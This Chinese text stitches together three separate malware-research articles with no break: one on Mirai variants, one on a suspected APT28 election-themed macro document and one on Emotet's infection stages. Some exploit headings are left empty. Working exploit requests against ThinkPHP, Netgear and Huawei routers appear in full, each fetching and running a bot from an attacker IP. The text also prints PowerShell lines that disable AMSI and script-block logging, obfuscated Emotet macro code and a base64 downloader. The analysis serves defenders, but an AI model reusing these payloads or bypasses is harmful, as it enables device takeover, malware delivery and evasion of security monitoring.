Unit 42研究人员发现了专为Altera Nios II, OpenRISC, Tensilica Xtensa和Xilinx MicroBlaze处理器的样本。这是Mirai第二次扩展新的处理器架构,上一次是2018年1月发现的攻击ARC CPU的样本。这说明Mirai的开发者还在不断更新技术,并攻击IOT设备。

本文主要介绍新发现的样本相关的基础设施,以及其他Mirai样本如何使用已知的漏洞利用等。

新样本的新特征

除了支持新的处理器架构外,研究人员还在新样本中发现了以下特征:

加密算法。新样本对原来Mirai代码中使用的标准字节XOR算法进行了修改。使用11个8字节的key,所有都使用字节级的XOR来获取最终的key,代码如下:

tablekeys = [0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF]
xor_key = 0
for key in tablekeys:
xor_key ^= key&0xff ^ (key>>8 & 0xff) ^ (key>>16 & 0xfF) ^ (key>>24 & 0xff)

这相当于与0x5A进行字节级的XOR运算。

attack_method_ovh。样本中含有以下参数的DDOS攻击选项:

ATK_OPT_IP_TOS = 0
ATK_OPT_IP_IDENT = 0xFFFF
ATK_OPT_IP_TTL = 64
ATK_OPT_IP_DF = 1
ATK_OPT_SPORT = 0xFFFF
ATK_OPT_DPORT = 0xFFFF
ATK_OPT_SEQRND = 0xFFFF
ATK_OPT_ACKRND = 0
ATK_OPT_URG = 0
ATK_OPT_ACK = 0
ATK_OPT_PSH = 0
ATK_OPT_RST = 0
ATK_OPT_SYN = 1
ATK_OPT_FIN = 0
ATK_OPT_SOURCE = LOCAL_ADDR

这与原来Mirai源代码中的攻击方法“TCP SYN” (attack_method_tcpsyn)的参数是一样的,所以为什么要将相同的参数加入到一个新的攻击方法中呢?目前尚不清楚原因。据此,研究人员发现了从2018年11月开始就应用该方法的样本。

基础设施

研究人员在一个IP地址上发现了多个最新的样本,但2019年2月22日开始,该服务器将这些文件列表隐藏起来了,但是还为文件提供web服务。

图1. 保存Mirai变种代码的目录

在2月22日之前,该IP地址还提供含有以下漏洞利用的Mirai样本。这些漏洞利用都是在之前的Mirai样本中使用过的。研究人员根据这些漏洞利用推测这些变种应该是同一波攻击者在使用,漏洞利用如下:

· ThinkPHP远程代码执行漏洞

利用格式:

GET /to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= ‘wget http://178.62.227[.]13/wrgjwrgjwrg246356356356/hx86 -O /tmp/Hito; chmod 777 /tmp/Hito; /tmp/Hito wget.exploit.selfrep.thinkphp’ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: Hito/2.0

· D-Link DSL2750B OS命令注入漏洞

利用格式:

· Netgear远程代码执行漏洞

利用格式:

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;/bin/busybox+wget+-g+178.62.227[.]13+-l+/tmp/binary+-r+/wrgjwrgjwrg246356356356/hmips;+/bin/busybox+chmod 777+*+/tmp/binary;/tmp/binary+wget.selfrep.exploit.netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

· CVE-2014-8361

利用格式:

· CVE-2017-17215

利用格式:

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username=”dslf-config”, realm=”HuaweiHomeGateway”, nonce=”88645cefb1f9ede0e336e3569d75ee30″, uri=”/ctrlt/DeviceUpgrade_1″, response=”3612f843a42db38f48f59d2a3597e19c”, algorithm=”MD5″, qop=”auth”, nc=00000001, cnonce=”248d1a2560100669″
<?xml version=”1.0″ ?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:Upgrade xmlns:u=”urn:schemas-upnp-org:service:WANPPPConnection:1″><NewStatusURL>$(/bin/busybox wget -g 178.62.227.13 -l /tmp/binary -r /wrgjwrgjwrg246356356356/hmips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

总结

因为Mirai源代码是公开的,因此开源将源代码进行适应其他处理器的编译,以提供给攻击者更大的攻击面。这也说明该恶意软件家族会通过更多的嵌入式设备感染和传播,提供给攻击者更强大的DDOS攻击的能力。

研究人员建议企业和用户对IOT设备及时更新补丁,并不要使用默认口令。

简述

3月中旬,一份有关乌克兰总统大选的可疑Office文件在野外出现。这份文件讲述了乌克兰大选民调的情况,以及对领跑候选人Volodymyr Zelenskiy的人生经历做了介绍,此外,该文件还用到了一个引人注目的标题,指出了乌克兰和俄罗斯之间的冲突问题。调查后发现,这篇文章实际上是直接复制了Daily Express于今年2月份发表的一篇文章

1.PNG

图1.恶意文档示意

文档的主题以及检测到的时间点都引起了我们的注意,因此我们决定进一步挖掘,以评估这个恶意文档的性质。

技术分析

t1.jpg

2.png

图2:查看和修改文档上的宏所需的密码

恶意文档的第一个特性是受保护的宏,当用户试图读取它时,会立即显示一个要求输入密码的消息框。使用传统的恶意软件分析工具可以轻松绕过此Office密码保护机制,在提取代码之后,可以按如下方式分析纯文本代码。

3.png

图3:文档宏的源代码

乍一看,代码没有被混淆的痕迹,但是可以在宏中发现异常的函数调用:ActiveDocument.BuiltInDocumentProperties.Item(“Company”)。此方法能恢复属于文档元数据的属性。在特定情况下,代码会试图读取“Company”属性中包含的值,一个base64编码的字符串。

4.png

图4:存储在文档元数据的“Company”标签中的payload

这种通过在文档属性部分中隐藏恶意payload的做法是Emotet银行恶意软件的惯用手段,Emotet是对全世界组织机构最具侵略性的恶意软件威胁之一。与初始代码不同,解码后的payload是高度混淆的Powershell命令。

5.png

图5:从base64到ascii转换后的powershell代码

经过几个去混淆阶段后的代码如下:

6.png

图6:去混淆后的powershell代码

这个脚本非常有趣,因为它的第一个动作就是减少自身存在痕迹,此步动作是通过禁用Powershell脚本块日志记录和反软件扫描接口(anti – alware Scan Interface, AMSI)来实现的。

ScriptBlock的日志记录功能是在Powershell v5中引入的,它能够在Powershell引擎执行代码块时对代码块进行日志记录,包括混淆的代码段和相应的去混淆代码段。而AMSI是一种通用的接口标准,它允许应用程序和服务与安装在机器上的任何反恶意软件产品集成,并在代码执行之前评估代码。关于AMSI的更多细节已经在以前的分析报告中描述过。

因此,此恶意软件会检查当前的Powershell版本,如果版本是3或在3之上,则会禁用上述安全功能。对上述两项功能的绕过是使用几行代码实现的,比如可以通过以下指令禁用ScriptBlock日志记录:

1. $settings = [Ref].Assembly.GetType(“System.Management.Automation.Utils”).GetField(“cachedGroupPolicySettings”,”NonPublic,Static”).GetValue($null);
2. $settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”] = @{}
3. $settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”].Add(“EnableScriptBlockLogging”, “0”)

而绕过AMSI的代码则更简单:

1. [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)<br>

该指令能够修改“amsiInitFailed”变量的值,将其设置为“true”。这样,当“ScanContent”方法使用此变量来确定AMSI是否应该扫描要执行的命令时,它会返回值amsi_result_not_detection,并让payload运行。从手法上看,恶意软件背后的创作者似乎参考了这篇文章中对AMSI和BlockLogging禁用技术的研究。

在偷偷设置好InternetExplorer 11 的用户代理之后,payload会尝试从“hxxps://functiondiscovery[.]net:8443/admin/get”处下载下一个感染阶段所需文件。此代码还包含了Powershell Empire特征指示器:cookie“session = J + kcj5bWE11g4zBLrjvZjNO296I =”。

7.png

图7:恶意软件设置的用户代理

C2最后定位为捷克共和国。该IP在2018年10月首次出现,并一直活跃到2019年4月。

8.png

图8:关于DropURL/C2的信息

归因

与C2服务器连接的脚本部分是使用当前流行的后开发工具Empire创建的,还有一些使用Empire生成的脚本作为后期开发模块的Sofacy样本已有许多安全组织机构对其做过分析。

2018年9月至12月,APT28(又名Fancy Bear、Pawn Storm、SofacyGroup、Sednit和STRONTIUM)对欧洲的民主机构发动了数次攻击。

APT28小组至少自2007年以来一直活跃,目标是世界各地的政府、军队和安全组织。该组织还参与了2016年总统大选的一系列袭击行动。

据Symantec去年10月发布的一份报告显示,该组织正在欧洲和南美积极开展针对政府和军事组织的网络间谍活动。

此外,根据FireEye对对俄罗斯相关的APT组织的分析,APT28正越来越依赖于公共代码库,如Carberp、PowerShell Empire、P.A.S. webshell、Metasploit模块等,不光会加快他们的开发周期,而且能方便他们推脱责任。此外,恶意文件的内容和发现的时间点都可能表明,此次行动背后或许有政府支持。

8-2.png

不过,我们在对此样本的功能做归因分析时也产生了一些疑惑。如前所述,用户可以很直观地看到文档的内容,那么为什么要启用宏呢?此外,宏代码是完全可读的,没有使用加密或混淆来逃避检测。唯一的宏保护机制是锁定dev项目,但是使用常见的恶意软件分析工具就能轻易地绕过它。所有这些,都不是典型的APT28 dropper的特征,照理说应该是经过重重混淆才对。SecurityArtWork团队认为该样本是属于Sofacy组的,因为它与Vitali Kremez之前研究过的较早的样本(8cccdce85beca7b7dc805a7f048fcd1bc8f7614dd7e13c2986a9fa5dfbbdf9)之间存在相似性——宏代码中使用的函数名,以及使用WMI连接器启动新的恶意进程之间的相似性。

然而,分析这两个文档时,即使某些函数的名称相等,宏也不会显示相同的结构。在下列右图中对应的是Vitali Kremez分析的样本,代码经过重度混淆:它包含了“$”字符,用来逃避AV检测,以及一个用于执行解码的自定义base64例程。

9.png

图9:宏比较:新样本(左)与旧样本(右)

调用WMI的宏部分有一个技巧,用于绕过Microsoft ASR,并能从Office应用程序启动一个新进程。由于类似的代码片段在Github上是公开的,所以这个技巧和使用的代码与俄罗斯组织没有直接关系。因此,文档之间宏代码的相似性很大程度上取决于对开源代码重复使用。

结论

我们并不能完全确定此项行动与APT28有关,不过我们正在调查与Sofacy小组有关的近期其他样本,以便更好的探索他们对政治选举可能带来的影响。

研究发现,Emotet恶意软件的攻击活动是分为多个阶段完成的,在本文中,我们首先为读者介绍其攻击活动的第1阶段和第2阶段,并重点讲解与网络钓鱼和在受感染的系统中实现持久性控制的相关内容。实际上Emotet是通过包含恶意链接或附件的网络钓鱼电子邮件进行传播的,钓鱼的对象包括个人、公司和政府部门。

第1阶段:恶意电子邮件与恶意文档。

攻击的第1阶段始于网络钓鱼电子邮件。通常情况下,攻击者会定期修改钓鱼邮件的主题、布局、附件和链接。在本文中,我们将分析取自VirusTotal网站的恶意软件样本。

1.JPG

Emotet的一大特点是会不断变换网络钓鱼电子邮件的内容,包括恶意链接以及相应的附件。在本文中,我们分析的是通过以下链接传播的样本:

1.png

用户一旦点击了上述URL,就会下载一个包含宏指令的Microsoft Office文档。

1.png

样本分析

我们使用file命令分析样本后发现,这个文档有1页,并且不包含任何单词。

f5e9c63713c7ff968f4958a9b5161e78af05f21493e56555734b89f55b2be24c: Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word,
Create Time/Date: Mon Mar 11 21:32:00 2019, Last Saved Time/Date: Mon Mar 11 21:32:00 2019, Number of Pages: 1,
Number of Words: 0, Number of Characters: 5, Security: 0

使用Oletools获取文档对象列表后,我们发现了3个宏元素:

  7:        74 'Macros/PROJECTwm'
  8: M   70540 'Macros/VBA/S1ADDQ1A'
  9: M   14650 'Macros/VBA/YBB1wA'
 10:     49987 'Macros/VBA/_VBA_PROJECT'
 11:      1344 'Macros/VBA/__SRP_0'
 12:       110 'Macros/VBA/__SRP_1'
 13:       436 'Macros/VBA/__SRP_2'
 14:       187 'Macros/VBA/__SRP_3'
 15:       601 'Macros/VBA/dir'
 16: M    9719 'Macros/VBA/mA4QAX4'
 17:      4096 'WordDocument'

提取代码

由于对象8、9和16中含有Visual Basic代码,因此,我们有必要对其做进一步的分析。

1.png

在提取得到的代码中,mA4QAX4是入口点,一旦打开文档,就会从这里开始执行。另外,所有的VBS代码都经过了模糊处理,具体如下图所示。

1.png

由于这三部分是相互依赖的,为了进一步分析它们,必须首先将其合并,相应的代码可以从这里下载。

调用链如下所示:

1、autoopen();

2、iQwUcAAU(param):

· 创建Win32_ProcessStartup类;

· 通过调用Create方法为该类生成对象;

· 将param字符串作为命令参数传递,从而开始执行;

其中,param的值由以下函数的运行结果连接组成:SQoBUAA、vDXBUQ、rDCAQQcA、pAADAADD、k1kGUAB与cAABQDw。所有这些函数,在逻辑方面都非常相似,所以,在去混淆的时候相对不难。以下是SQoBUAA函数去混淆后的代码:

Function SQoBUAA()
On Error Resume Next
jkQBUx = "l -" + "nop" + " -e" + "n" + "c" + " JA" + "BHA" + "G" + "8Aa" + "wB" + "HA" + "E" + "M" + "AN" + "A" + "B" + "B" + "A" + "D" + "QA" + "PQ" + "A" + "oAC"
lBADQoU = "cAe" + "gBf" + "AC" + "cAK" + "w" + "An" + "AEE" + "AWg" + "AnA" + "CsA" + "Jw" + "Br" + "A" + "G8A" + "RAB"
tcoAAAAQ = "B" + "ACc" + "A" + "K" + "Q" + "A7A" + "CQ" + "AU" + "gBf" + "AEE" + "A" + "a" + "w" + "AxA" + "F8"
HAQUxA_ = "AQQ" + "BBA" + "D0" + "Abg" + "BlA" + "Hc" + "ALQ" + "BvA" + "GI" + "Aa" + "gBl" + "AG" + "MAd" + "A" + "AgA" + "E" + "4" + "A" + "Z" + "QB0" + "A" + "C" + "4A" + "VwB" + "lAG"
tUQokAA = "IA" + "Qw" + "Bs" + "AGk" + "AZQ" + "Bu" + "AH" + "Q" + "A" + "O" + "wA" + "kAG" + "k" + "AVQ" + "Bv" + "AF" + "8AR" + "ABB" + "AD" + "0" + "AK" + "AA" + "n" + "A" + "GgA"
cUAAoX = "d" + "AAn" + "ACs" + "AJw" + "B0" + "AH" + "A" + "AOg" + "A" + "vA" + "C8A" + "Yg" + "B" + "pA" + "G" + "U" + "A" + "ZAB" + "l" + "A" + "H" + "I" + "A" + "bQ" + "Bh"
AkQG_A = "A" + "Cc" + "AKw" + "An" + "AG" + "4AL" + "g" + "B" + "uAG" + "UAd" + "AA" + "vAG" + "wA" + "ZQB" + "zAG" + "wA" + "a" + "QBl"
SQoBUAA = jkQBUx + lBADQoU + tcoAAAAQ + HAQUxA_ + tUQokAA + cUAAoX + AkQG_A
End Function

第2阶段:获取持久控制的Powershell

我们还提取一个base64编码的powershell脚本,文档的宏指令将其设置为在系统启动时运行。

powershell -nop -enc JABHAG8AawBHAEMANABBADQAPQAoACcAegBfACcAKwAnAEEAWgAnACsAJwBrAG8ARABBACcA
KQA7ACQAUgBfAEEAawAxAF8AQQBBAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAVQBvAF8ARABBAD0AKAA
nAGgAdAAnACsAJwB0AHAAOgAvAC8AYgBpAGUAZABlAHIAbQBhACcAKwAnAG4ALgBuAGUAdAAvAGwAZQBzAGwAaQBlAC8AbAAnACsAJwBMAC8AJwArACcAQABoAH
QAdABwADoALwAnACsAJwAvAG4AaQBzAHMAYQAnACsAJwBuAGIAYQAnACsAJwBjAGcAaQBhACcAKwAnAG4AZwAnACsAJwAuAGMAJwArACcAbwBtAC8AdwBwAC0AY
wBvACcAKwAnAG4AdABlAG4AdAAnACsAJwAvAHgAUgAnACsAJwAzAC8AJwArACcAQAAnACsAJwBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvAGUAcQB1AGkAZABh
AGQAZABlAGcAZQBuAGUAcgAnACsAJwBvAC4AJwArACcAaQB6AHQAJwArACcAYQBjAGEAbABhAC4AdQAnACsAJwBuAGEAbQAuAG0AeAAvACcAKwAnAHcAcAAtAGE
AZABtAGkAbgAvACcAKwAnAFgAUABGAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AJwArACcAegAnACsAJwBlAHMAdABlAHYAZQBuAHQAJwArACcAcwAuAGMAbw
AvAHcAcAAtACcAKwAnAGkAJwArACcAbgBjAGwAdQBkAGUAcwAvAEcAJwArACcASgBBACcAKwAnAG8ALwBAAGgAdAB0AHAAJwArACcAOgAvAC8AJwArACcAcwB0A
HkAJwArACcAbABpACcAKwAnAHMAaABsAGEAYgAuAHcAZQBiAHAAaQB4AGEAYgB5AHQAJwArACcAZQAnACsAJwAuAGMAJwArACcAbwBtAC8AdAAnACsAJwBoAGoA
bwB3AHIAawA1ACcAKwAnAGUALwA5AFUARwAvACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAHYAWgBBAEEAQgA0AD0AKAAnAFEAQwBBAEIAJwArACcAQgB
BAFUAJwApADsAJABKAFUAQQBrAEEAQQAgAD0AIAAoACcANAA4ACcAKwAnADYAJwApADsAJABGAGsAWgBBAEQAWgBVAD0AKAAnAGoAJwArACcANABfAEEAQQBCAE
EAJwApADsAJABtAFEAVQBrAHcARwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASgBVAEEAawBBAEEAKwAoACcALgBlACcAK
wAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAByAEIAQQBCAEQAbwAgAGkAbgAgACQAaQBVAG8AXwBEAEEAKQB7AHQAcgB5AHsAJABSAF8AQQBrADEAXwBB
AEEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAcgBCAEEAQgBEAG8ALAAgACQAbQBRAFUAawB3AEcAKQA7ACQAQwBYAGsAQQBBADQAQQA9ACgAJwBWADQ
AQgBBACcAKwAnAEEAawBBACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAG0AUQBVAGsAdwBHACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANA
AwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAbQBRAFUAawB3AEcAOwAkAG4ARABBAEEAdwBvAFgAPQAoACcAcwAnACsAJwBvAEEAeABBA
EQAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAdwBRAEEAQQBRAHgAPQAoACcARQBCAG8AYwAnACsAJwBBAEEAJwApADsA

解码后,会得到多个URL,它们用于下载第3阶段使用的PE文件。

1.png

这里总共涉及5个不同的网站,它们都用于托管Emotet恶意软件。

1.png

从上面的分析来看,Emotet背后的团队并没有把重点放在对第1和第2阶段的脚本进行深入的混淆处理。接下来,我们将分析该恶意软件攻击的第3阶段,特别是从被感染网站下载的用于网络钓鱼/垃圾邮件活动的PE文件。众所周知,Emotet是一种高级模块化特洛伊木马,主要用作恶意软件分发平台,其主要目标是让系统感染其他类型的恶意软件。

第3阶段的新特点

对于我们手头上的Emotet来说,最大的特点在于恶意软件作者对于第3阶段的可执行文件进行了更新,通过实现多种反调试技术、动态加载窗口动态链接库、加密导入函数名、多级脱壳等等,使分析变得更加困难。

1.png

根据IAT信息来看,这个二进制文件会加载多个Windows DLL,它们分别是kernel32.dll、user32.dll、gdi32.dll、advapi32.dll、shell32.dll和shlwapi.dll。

1.png

乍一看,这个二进制文件没有导入任何值得怀疑的函数,因为这些大都是供加壳器使用的。

1.png

让我们将这个样本加载到IDA中,并查找有助于下一步进行动态分析的相关细节。我们看到,在IAT中列出的大量导入函数中,用到的函数其实很少。其中用到的一个函数就是VirtualAlloc,它表明可能存在一个定制的加壳器。

1.png

关于这个二进制文件经过了加壳的线索,主要在于对于数据段的指针的调用上面:

1.png

动态分析与脱壳

对于这个样本的动态分析,我们将使用x32dbg。根据Hybrid Analysis结果来看,该样本好像创建了两个新进程,其中一个进程是对自身的复制,而另一个进程则具有不同的名称。这其实就是嵌入到第一个样本中的加壳后的PE文件。

1.png

最有可能的情况是,父进程会调用一个CreateProcess * 类型的Windows API函数。自2018年以来,Microsoft已经将一些功能从kernel32.dll和advapi32.dll迁移到了一个新的底层二进制文件即kernelbase.dll中。如果我们观察kernel32.dll中的CreateProcessA和CreateProcessAsUserA,实际上只能看到几个mov和push指令,然后,它们就会跳转到kernelbase.dll的等价函数。

1.png

跟踪线程进入kernelbase.dll之后,我们发现CreateProcessA函数包含许多push指令,然后,会调用CreateProcessInternalA函数。而CreateProcessAsUserA函数同样如此。

1.png

实际上,整个调用链如下所示:

[kernel32.dll]CreateProcessA -> [kernelbase.dll]CreateProcessA -> [kernelbase.dll]CreateProcessInternalA -> [kernelbase.dll]CreateProcessInternalW

这意味着,对于任何CreateProcess *函数调用,我们将在创建进程之前调用CreateProcessInternalW。如果我们在这个函数的开头处设置一个断点,就有可能找到脱壳后的二进制文件,它将被注入到新进程中。一旦触发断点,就会有4个内存区域设置ERW(Execute-Read-Write)标志。根据头部来看,这很可能个PE文件。

1.png

1.png

转储这些内容并正确对齐后,我们就可以进入下一阶段的分析工作了。

动态分析。转储的二进制文件。

不难发现,导出的3个二进制貌似都是一样的,即使它们具有不同的校验和。在这里,IAT表为空,这意味着恶意软件将在运行时加载相关的依赖项。同时,二进制字符串中也没有出现API函数的名称,这意味着所有API函数名称以及库名称都是经过加密的。

执行过程将从3个函数调用开始。

1.png

前2个函数包含了该样本将动态加载的API的加密名称。一旦加密的值都加载到堆栈,这些函数就会调用另一个函数。在这里,sub_401550看起来是用于进行解密的。

1.png

到目前为止,我能够检测到该样本动态加载的4个DLL:kernel32.dll、user32.dll、ntdll.dll和shell32.dll。

该样本为了只运行一个副本,它会检查是否存在特定的MUTEX,如果没有的话,则创建它。这个MUTEX的名称为PEMF24。

1.png

检查/创建MUTEX后,这个恶意软件会查找Windows目录,并将自身复制到该目录下,以及%APPDATA%目录下。这次,新的二进制文件的命名方式会有所不同:这次的名称是在运行时通过连接2个字符串生成的(就本文来说为ipropslide.exe)。所有可能的字符串都会被存储到内存中。

1.png

1.png

创建新进程后,它就会查找主机信息,如计算机名称和卷信息,并开始与C2进行通信。

1.png

经过一番折腾之后,终于得到了部分与C2通信有关的信息。例如,该样本会尝试与3个IP地址建立连接:

1.png

小结

我们发现,该恶意软件的作者为新版本的木马引入不同的防御机制。当然,突破这些防御机制并不太难,但考虑到Emotet新版本的发布频率以及二进制文件的变动频率,从长远来看,对其进行分析仍会耗费安全人员的大量时间。同时,即使将HTTP流量发送到非标准目标端口(如8090),就目前来说,也算不上在目标网络中保持低调的最佳方式,因为大多数企业现在会将这种类型的流量视为可疑流量。